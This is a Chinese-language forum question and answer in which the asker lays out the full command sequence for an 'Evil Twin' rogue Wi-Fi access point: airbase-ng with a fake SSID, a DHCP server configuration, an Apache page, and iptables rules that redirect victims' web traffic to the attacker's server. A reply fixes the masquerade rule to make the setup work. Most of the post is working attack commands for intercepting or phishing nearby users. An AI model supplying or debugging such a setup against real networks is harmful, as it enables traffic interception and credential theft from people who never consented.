我一直在研究 Evil Twin 方法并发现了以下步骤:
创建 AP
airmon-ng start wlan0 airbase-ng -e PrivateWIFI -c 9 -v mon0
at0
配置ifconfig at0 up ifconfig at0 192.168.1.20 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.20
运行 DHCP
echo > '/var/lib/dhcp/dhcpd.leases' /etc/init.d/isc-dhcp-server start OR dhcpd -d -f -cf /etc/dhcp/dhcpd.conf at0 ( the both of them is working fine )
dhcpd.conf 文件:
ddns-update-style interim;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option routers 192.168.1.1;
option domain-name-servers 8.8.8.8;
range 192.168.1.2 192.168.1.250;
}
然后我启动了我的 apache2 服务器
(到这里都没有问题)
状态(我可以从手机打开我的网络服务器 192.168.1.20 并查看我制作的网页:) :))
但问题是,当我添加 iptables 命令时什么也没有发生:
iptables --flush
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward
////////////////////////////////////////////////////////////////////////
iptables --flush
iptables --table nat --append POSTROUTING --out-interface at0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward
它们都不起作用,我希望有人能帮助我。
答案1
我不知道问题是否是您的浏览器被重定向到网络服务器或者它是否没有连接到互联网,但我看到了一些您应该修复的东西。
你应该只一伪装接口,而不是两个。正确的是eth0(假设它是直接地连接到互联网),而不是流氓网络 at0接口。因此,您必须删除倒数第二行。
话虽如此,看看事情是否按您预期的方式进行。如果没有,请向我们准确描述您的问题以及您当前的诊断。
亲切的问候。